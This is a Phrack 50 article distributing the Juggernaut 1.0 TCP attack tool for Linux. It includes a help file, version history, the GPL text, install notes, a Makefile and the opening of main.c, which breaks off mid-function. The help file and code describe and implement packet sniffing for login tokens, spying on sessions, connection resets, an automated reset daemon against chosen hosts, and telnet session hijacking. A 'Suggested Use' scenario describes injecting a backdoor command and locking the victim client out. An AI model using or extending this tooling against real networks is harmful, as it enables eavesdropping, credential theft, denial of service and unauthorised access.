.oO Phrack 50 Oo.

                           Volume Seven, Issue Fifty

                                    6 of 16

                              J U G G E R N A U T

                                 route|daemon9

                     a guild corporation production 1996/7


   Please use the included extract.c utility to extract the files and then
   read the Install file.  Any problems/comments mail me [email protected].

   A boot image is forthcoming that will allow a user to simply pop a disk
   into most any networked PC and turn it into a Juggernaut workstation.

<++> Juggernaut/ClothLikeGauze/.help

                           Juggernaut 1.0 Help File

|--------
|Overview
|--------

Juggernaut is a robust network tool for the Linux OS.  It contains several
modules offering a wide degree of functionality.  Juggernaut has been tested
successfully on several different Linux machines on several different networks.
However, your mileage may vary depending on the network topologies of the
environment (ie: Smart hubbing will kill much of the packet sniffing
functionality...) and, to a lesser extent, the machine running Juggernaut.
If something doesn't work, use a network debugger and figure out why...

Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on
April 9, 1997.

          Any serious problems/bugs or comments, please mail me:

                          [email protected]


|---------------------
|Command Line Options
|---------------------

   juggernaut -h

                       Quick help.

   juggernaut -H

                       Dumps this help file.

   juggernaut -v

                       By default, Juggernaut conveys error messages and other
                       diagnostic information to the user.  Specifying this
                       option will cause Juggernaut to shut the hell up.

                       Not recommended unless you know what you are doing.

   juggernaut -t xx            [ juggernaut -t 5 ]

                       This option specifies the network read timeout (which
                       defaults to 10 seconds).  This value reflects how long
                       Juggernaut will wait for network traffic before giving
                       up.  In this case, it will wait 5 seconds.

   juggernaut -s TOKEN         [ juggernaut -s login ]

                       Dedicated sniffing mode.  Juggernaut will drop to the
                       background and examine all TCP packets looking for
                       TOKEN.  When TOKEN is located, it then isolates that
                       TCP circuit and captures the next 16 (the default
                       enticement factor) packets and logs them to a file. It
                       then resets and continues sifting through TCP traffic
                       looking for TOKEN.

   juggernaut -s TOKEN -e xx   [ juggernaut -s daemon9 -e 1000 ]

                       By specifying a larger enticement factor, you can
                       capture more packets from a session.  This time, after
                       locating TOKEN, Juggernaut will capture 1000 packets
                       before reseting.

   juggernaut
                       This starts the program in standard mode.

|-------------
|Menu Options
|-------------

This is normal mode of operation for Juggernaut.  This is where the magic
happens, this is where the fun is. The program will examine all network
traffic and add suitable TCP connections to the connection database (which
is viewed with option 1).  After at least one connection is in the database,
you can start mucking around with it (connection construction and destruction
are indicated by the appearance of the "+" or the "-" at the console). Note
that connections involving a local interface may not show up (unless the
localhost is dual-homed).

One possible shortcoming of the program is the fact that it stores very
little state information about connections in the database.  Juggernaut
collects whatever information it needs (and doesn't have) on the fly.  As
such, a quiet connection (no traffic) will elude hijacking and reseting.  The
benefit of this is the fact that the program does not have to tie itself up
updating the shared memory segment with state every time a packet flies by.


   ?) Help
                       This file.

   0) Program information

                       Dumps some stuff...

   1) Connection database

                       Dumps the current connection list and percent to
                       capacity.  Gives the option to wipe the database.

   2) Spy on a connection

                       Allows a user to spy on any connection in the database,
                       with the option of logging the entire session to a
                       file.

   3) Reset a connection

                       Allows the user to destroy any existing connection in
                       the database.

   4) Automated connection reset daemon

                       Allows the user to setup an automated TCP RST daemon
                       that will listen for connection request attempts
                       from a specified source host (and optionally a
                       destination host) and then reset them before they
                       have a chance to complete.  Requires a source IP
                       address and optionally a destination address.
                       This module prints a "*" to the console when a
                       connection request attempt is attempted and denied...

   5) Simplex connection hijack

                       Allows the user to insert a command into a telnet
                       based TCP stream.  A short ACK storm ensues until the
                       connection is subsequently reset.

   6) Interactive connection hijack

                       Allows the user to take over a session from a
                       legitimate client.  This desynchs the client from the
                       server as the user takes over.  The resulting ACK
                       storm can be catastrophic and makes this interactive
                       session prone to failure.  If both of the target hosts
                       are on an ethernet, expect a momunmental ACK storm.

   7) Packet assembly module

                       The Prometheus module.  Construction of TCP, UDP, ICMP,
                       and IP packets.  The user has complete control over
                       most of the header fields and can opt for generating a
                       pseudo-random value.  This module is far from done and
                       needs some serious work.

   8) Souper sekret option number eight

                       Sshh.

   9) Step down
                       Quitter.


|-------------
|Suggested Use
|-------------

   scenario 1: The passive observer
               menu options 1,2

                       The user is curious.  She simply waits for
                       connections to arrive and then passively observes
                       them.  Several invocations of Juggernaut may be
                       started, each spying on a different connection.
                       The user does not modify the flow of data or control.

   scenario 2: The malicious observer
               menu options 1,2,3

                       Same scenario as above, except the user alters the
                       flow of control and opts to destroy connections
                       at some point.

   scenario 3: The active observer
               menu options 1,2,3,5,(6)

                       Same as the previous situations, however the user
                       inserts data into the stream before destroying it.
   scenario 4: The imp
               menu options 1,2,3,4

                       The user is an impish devil and simply wants to
                       cause trouble by setting up multiple ACRST daemons.

   scenario 5: The active observer with poisonous reverse
               menu options 1,2,4,5

                       The user waits until a client establishes a connection
                       with a targeted server and then sets up the ACRST
                       daemon to destroy all further connection-request
                       attempts from the client.  The user then spys on the
                       connection, waiting for an opportune time to inject
                       a hijack packet into the stream containing a
                       backdooring command/pipeline.  The client will then
                       have her connection RST (after a brief ACK storm).
                       If the client attempts to re-establish the connection
                       with the server, she will be denied and likely think
                       it is a transient network error.  The user can then
                       login into the server using the backdoor without fear
                       of the client logging back in.



Juggernaut is a Guild Corporation production, (c) 1996/7.

   [corporate persuasion through Internet terrorism]

EOF
<-->
<++> Juggernaut/ClothLikeGauze/MANIFEST

      File Manifest for Juggernaut 1.0
       ----------------------------
     1996/7 daemon9[guild|phrack|r00t]
       ----------------------------
ClothLikeGauze/     Docs
   .help           Helpfile
   copyright       The legal tie that binds.
   Install         Installation instructions
   MANIFEST        This file
Makefile            makefile
NumberOneCrush/     Sources
   main.c          main logic
   mem.c           shared memory/semaphore functions
   menu.c          menu functions
   prometheus.c    packet assembly workshop module
   net.c           socket/network functions
   surplus.c       dumping ground


       Version history
       ---------------

version a1:
-----------
11.30.96:   Decided to start.  Juggernaut framework and queue stuff.  Used
           linked list queue originally to store connections.
12.01.96:   Sniffing/spying/logging/RST stuff.
12.02-04:   Not sure what I did here.  I think I had a large turkey samich.
12.05.96:   Redid memory abstract data type.  Multithreaded.  Implemented
           shared memory segment and semaphore for access control.
           Dumped ALL the dynamic memory allocation code.
12.06.96:   Added packet assembly workshop hooks.  Added curses.  Removed
           curses.
12.07.96:   No coding today.
12.08.96:   Non-interactive hijacking completed.  I think we're ready for
           beta now.

version b1:
-----------
12.09.96:   IP_HDRINCL crap added.
12.15-18:   I was in NYC for the r00tparty.  No coding then.
12.19.96:   Added automated RST stuff.
12.20-27:   No coding.
12.28.96:   Started work on interactive hijacking.  Damned ACK storms.
12.30.96:   Started packet assembly module for reals.

version b2:
-----------
01.25.97:   Added network timeout logic.
01.26.97-
04.01.97:   How can you possibly expect me to account for all that time?
           I went to Germany with alhambra for a networking summit and
           all over the US for other work, I was even in a Discovery
           special on IW...

version 1.0:
------------
04.02.97:   Here it is.
<-->
<++> Juggernaut/ClothLikeGauze/ToDo

Juggernaut ToDo list
--------------------
+ re-structure multitasking model to give the option of
  using multi-processing OR multi-threading
+ Create boot image
+ Support for ongoing connections
+ Support for healthy choice hotdog sequencer
+ Add arp cache seeding routine; as connections are added, MAC
  addresses will be added to the arp cache
+ Add support for different verbosity levels
+ Add support for IP and TCP options in packet assembly module
+ Better packet assembly support as a whole
+ Better code module plug-in support
+ much more robust packet sniffing module with support for
  multiple protocols
+ um, interactive hijacking that doesn't kill the client
<-->
<++> Juggernaut/ClothLikeGauze/copyright

                       Juggernaut

Copyright (c) 1996/7 by daemon9/route [Guild] ([email protected])

Juggernaut source code, documentation, auxilliary programs, and
executables are Copyright 1996/7 daemon9[guild].  All rights reserved.

----------------------------------------------------------------------

                   GNU GENERAL PUBLIC LICENSE
                      Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                         675 Mass Ave, Cambridge, MA 02139, USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

                           Preamble

 The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

 When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

 To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

 For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

 We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

 Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

 Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

 The precise terms and conditions for copying, distribution and
modification follow.

                   GNU GENERAL PUBLIC LICENSE
  TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

 0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

 1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

 2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

   a) You must cause the modified files to carry prominent notices
   stating that you changed the files and the date of any change.

   b) You must cause any work that you distribute or publish, that in
   whole or in part contains or is derived from the Program or any
   part thereof, to be licensed as a whole at no charge to all third
   parties under the terms of this License.

   c) If the modified program normally reads commands interactively
   when run, you must cause it, when started running for such
   interactive use in the most ordinary way, to print or display an
   announcement including an appropriate copyright notice and a
   notice that there is no warranty (or else, saying that you provide
   a warranty) and that users may redistribute the program under
   these conditions, and telling the user how to view a copy of this
   License.  (Exception: if the Program itself is interactive but
   does not normally print such an announcement, your work based on
   the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

 3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

   a) Accompany it with the complete corresponding machine-readable
   source code, which must be distributed under the terms of Sections
   1 and 2 above on a medium customarily used for software interchange; or,

   b) Accompany it with a written offer, valid for at least three
   years, to give any third party, for a charge no more than your
   cost of physically performing source distribution, a complete
   machine-readable copy of the corresponding source code, to be
   distributed under the terms of Sections 1 and 2 above on a medium
   customarily used for software interchange; or,

   c) Accompany it with the information you received as to the offer
   to distribute corresponding source code.  (This alternative is
   allowed only for noncommercial distribution and only if you
   received the program in object code or executable form with such
   an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

 4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

 5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

 6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

 7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

 8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

 9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

 10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                           NO WARRANTY

 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                    END OF TERMS AND CONDITIONS

       Appendix: How to Apply These Terms to Your New Programs

 If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

 To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

   <one line to give the program's name and a brief idea of what it does.>
   Copyright (C) 19yy  <name of author>

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

   Gnomovision version 69, Copyright (C) 19yy name of author
   Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
   This is free software, and you are welcome to redistribute it
   under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
 `Gnomovision' (which makes passes at compilers) written by James Hacker.

 <signature of Ty Coon>, 1 April 1989
 Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<-->
<++> Juggernaut/Install
Juggernaut 1.0 Installation Instructions
----------------------------------------
1.  Are you a fucking moron?  If so, goto step 6; you are done.

2.  Edit the Makefile.  You may wish to change a few of the
   defines:

   USENAME:    Define this to have Juggernaut attempt to
               resolve IP addresses into FQDNs...  It's
               slower but more verbose this way.
   MULTI_P:    Define this to use multi-process model of
               multi-tasking.
   THREAD:     Define this to use multi-threaded model of
               multi-tasking.  Be sure to also link in
               the pthreads library.  Not implemented yet.
   IP_HDRINCL: Define this if you want/need to use the
               IP_HDRINCL socket option to build IP
               headers.
   NOHUSH:     If defined, Juggernaut will notify the user
               audibly when a connection is added.
   GREED:      If defined, Juggernaut will attempt to add
               any and ALL TCP based connections to the
               database.  This is not recommended unless
               you know what you are doing...
   FASTCHECK:  Define this to use a fast x86 assembler
               implementation of the IP checksum routine.
               May not work on all systems.  That's why
               you have the option.
3. make all

4. yay.

5. ./juggernaut -h
<-->
<++> Juggernaut/Makefile
# Juggernaut Makefile
# 1996/7 daemon9[guild|phrack|r00t]

CC      =   gcc
#LIBS    =   -L/usr/lib -lpthread
CFLAGS  =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall
DEFINES =   -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK
DEFINES +=  #-DGREED #-DIP_HDRINCL #-DTHREAD
OBJECTS =   NumberOneCrush/main.o NumberOneCrush/menu.o\
           NumberOneCrush/mem.o NumberOneCrush/prometheus.o\
           NumberOneCrush/net.o NumberOneCrush/surplus.o

.c.o:
       $(CC) $(CFLAGS) $(DEFINES) -c $< -o $@

all: JUGGERNAUT

JUGGERNAUT: $(OBJECTS)
       $(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut
       strip juggernaut

clean:
       rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy
       rm -rf NumberOneCrush/*.o
<-->
<++> Juggernaut/NumberOneCrush/main.c
/*
*
*                                  Juggernaut
*                                  Version b2
*
*                            1996/7 Guild productions
*                           daemon9[guild|phrack|r00t]
*
*                         comments to [email protected]
*
*  This coding project made possible by a grant from the Guild corporation
*
*  main.c - main control logic and program driver.  Consists mainly of wrappers
*  to setup the main subfunctions.
*
*
*/

#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <netinet/in.h>

#ifdef THREAD
#include <pthread.h>
#endif

#define MINIBUF 10
#define BUFSIZE 512
#define DEVICE "eth0"
#define LOGFILE "./juggernaut.log.spy"

char version[]="1.0\0";
int sigsentry=1;                    /* Signal sentry */
int ripsock=0;                      /* RIP socket */
int linksock=0;                     /* SOCK PACKET socket */
int hpid=0;                         /* hunter child PID */
int acrstpid=0;                     /* automated connection reset PID */
int netreadtimeout=10;              /* Network read timeout in seconds */
int verbosity=1;                    /* Level of verbosity */
int enticementfactor=16;            /* Enticing packets!@ */
time_t uptime=0;                    /* How long have we been running */

struct connectionInfo{              /* Simple tuple information */
   unsigned long saddr;            /* Source IP */
   unsigned long daddr;            /* Destination IP */
   unsigned short sport;           /* Source TCP Port */
   unsigned short dport;           /* Destination TCP Port */
};


/*
*  Main control logic.  All the main logic is implemented in the switch
*  statement.
*/

int main(argc,argv)
int argc;
char *argv[];
{

   void usage(char *);
   void hunt();
   void spy();
   void rst();
   void arst();
   void pkta();
   void simplexhijack();
   void hijack();
   void powerup();
   void minit();
   void mwipe();
   void mmain();
   void twitch();
   void cleanexit();
   void bloodhound(char *,int);
   void bookworm();
   void dbmanip();
   void jinfo();
   int rawsock();
   int tap();
   float dump();

   char buf[MINIBUF]={0};
   char token[2*MINIBUF]={0};
   int c;

   if(geteuid()||getuid()){                /* r00t? */
       fprintf(stderr,"UID or EUID of 0 needed...\n");
       exit(0);
       }
                                           /* Parse command-line arguments */
   while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
       switch(c){
           case 's':                       /* dedicated sniffing mode */
               strncpy(token,optarg,(sizeof(token)-1));
               break;
           case 'e':                       /* Enticement factor (only valid
                                              with -s option) */
               enticementfactor=atoi(optarg);
               break;
           case 't':                       /* Network alarm timeout */
               netreadtimeout=atoi(optarg);
               break;
           case 'v':                       /* decrease verbosity */
               verbosity=0;
               break;
           case 'V':                       /* version info */
               jinfo();
               exit(0);
           case 'h':                       /* Help is on the way my friend */
               usage(argv[0]);
               exit(0);
           case 'H':                       /* Help is on the way my friend */
               bookworm();
               exit(0);
           default:
               usage(argv[0]);
               break;
           }
   }
   if(token[0]){
       bloodhound(token,enticementfactor);
       exit(0);
   }

   mwipe();
   minit();                                /* Initial menu */
   fprintf(stderr,"[cr]");
   getchar();

   signal(SIGINT,twitch);                  /* Catch these signals */
   signal(SIGQUIT,twitch);

   ripsock=rawsock();                      /* Setup RIP socket */
   linksock=tap(DEVICE);                   /* Setup link socket */

   powerup();                              /* Setup shared memory and
                                              semaphore */
   time(&uptime);                          /* Start the uptime timer */
   hunt();                                 /* Start the connection hunter */

   while(1){
       mwipe();
       mmain();
       bzero(&buf,sizeof(buf));
       fgets(buf,sizeof(buf),stdin);
       switch(buf[0]){
           case '?':
               mwipe();
               bookworm();
               mwipe();
               break;
           case '0':
               mwipe();
               jinfo();
               mwipe();
               break;
           case '1':
               mwipe();
               dbmanip();
               mwipe();
               break;
           case '2':               /* Watch a connection. */
               mwipe();
               spy();
               mwipe();
               break;
           case '3':               /* Kill a connection. */
               mwipe();
               rst();
               mwipe();
               break;
           case '4':               /* Automated CRST daemon. */
               mwipe();
               arst();
               mwipe();
               break;
           case '5':               /* Insert a single command. */
               mwipe();
               simplexhijack();
               mwipe();
               break;
           case '6':               /* Hijack the session from the client */
               mwipe();
               hijack();
               mwipe();
               break;
           case '7':               /* The packet assembly workshop */
               mwipe();
               pkta();
               mwipe();
               break;
           case '8':               /* For future use. */
               break;
           case '9':
               cleanexit();
           default:
               continue;
       }
   }
                                       /* NOT REACHED */
   return(0);
}


/*
*  chunt wrapper
*/

void hunt(){

#ifdef MULTI_P
   void spasm();                       /* Handles the user defined signal */
   void chunt();

   switch((hpid=fork())){
       case 0:                             /* Child */
           signal(SIGUSR1,spasm);
           signal(SIGINT,SIG_IGN);         /* Catch these signals */
           signal(SIGQUIT,SIG_IGN);
           close(ripsock);                 /* Not needed in hunter */
           chunt();
       default:
           break;                          /* Parent continues */
       case -1:
           if(verbosity)perror("(hunt) internal forking error [fatal]");
           exit(1);
   }
#endif

#ifdef THREAD

   MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.

   void chunt();

   pthread_t hunter_t;

   pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);

#endif

}


/*
*  cspy wrapper
*/

void spy(){

   void convulsion();
   float dump();
   struct connectionInfo *checkc(int);
   void cspy(struct connectionInfo *,FILE *);

   char buf[MINIBUF];
   unsigned short val;
   struct connectionInfo *target;
   FILE *fp=0;

   dump();

   while(1){
       fprintf(stderr,"\nChoose a connection [q] >");
       fgets(buf,sizeof(buf),stdin);
       if(buf[0]==0x0a||buf[0]=='q')return;
       if(!(int)(val=atoi(buf)))continue;
       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
       else break;
   }
   fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
   fgets(buf,sizeof(buf),stdin);
   if(toupper(buf[0])=='Y'){
       if(!(fp=fopen(LOGFILE,"a+"))){
           if(verbosity){
               fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
               fprintf(stderr,"[cr]");
               getchar();
           }
       }
   }
   fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
   signal(SIGINT,convulsion);
   sigsentry=1;
   cspy(target,fp);
   if(fp)fclose(fp);
}


/*
*  crst wrapper
*/

void rst(){

   void convulsion();
   float dump();
   void crst(struct connectionInfo *);

   struct connectionInfo *checkc(int);

   char buf[MINIBUF];
   unsigned short val;
   struct connectionInfo *target;

   dump();

   while(1){
       fprintf(stderr,"\nChoose a connection [q] >");
       fgets(buf,sizeof(buf),stdin);
       if(buf[0]==0x0a||buf[0]=='q')return;
       if(!(int)(val=atoi(buf)))continue;
       if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
       else break;
   }
   signal(SIGINT,convulsion);
   crst(target);
   fprintf(stderr,"[cr]");
   getchar();
}


/*
*  acrst wrapper
*/

void arst(){

   void convulsion();
   float dump();
   void acrst(unsigned long,unsigned long);
   char *hostLookup(unsigned long);
   unsigned long nameResolve(char *);

   char buf[4*MINIBUF];
   unsigned long source,target;
                                           /* Setup addresing info */
   fprintf(stderr,"\nEnter source IP [q] >");
   fgets(buf,sizeof(buf),stdin);
   if(buf[0]==0x0a||buf[0]=='q')return;
   if(!(source=nameResolve(buf))){
       if(verbosity){
           fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
           getchar();
       }
       return;
   }
   fprintf(stderr,"\nEnter target IP (optional) [q] >");
   fgets(buf,sizeof(buf),stdin);
   if(buf[0]=='q')return;
   if(buf[0]==0x0a)target=0;               /* target may be null, in this
                                              case, we only care where
                                              the connection is coming from */
   else if(!(target=nameResolve(buf))){
       if(verbosity){
           fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
           getchar();
       }
       return;
   }
   if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
   else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
   fprintf(stderr,"[cr]");
   getchar();
   acrst(source,target);
}


/*
*  dumpc wrapper
*/

float dump(){

   float dumpc();
   float usage=0;

   fprintf(stderr,"\nCurrent Connection Database:\n");
   fprintf(stderr,"-------------------------------------------------\n");
   fprintf(stderr,"ref #    source                            target  \n\n");
   usage=dumpc();
   fprintf(stderr,"-------------------------------------------------\n");

   return usage;
}


/*
*  database manipulation routines go here..
*/

void dbmanip(){

   float dump();
   void cleardb();

   float usage=0;
   char buf[MINIBUF];

   usage=dump();

   if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
   else fprintf(stderr,"\nDatabase is empty.");

   fprintf(stderr,"\n[c,q] >");
   fgets(buf,sizeof(buf),stdin);

   if(buf[0]=='c'){
       fprintf(stderr,"\nClear entire connection database? [y/N] >");
       fgets(buf,sizeof(buf),stdin);
       if(buf[0]=='y'){
           cleardb();
           fprintf(stderr,"\nConnection database cleared.\n[cr]");
           getchar();
       }
   }
}

/*
*  Juggernaut version and option information
*/

void jinfo(){

   time_t current=0;

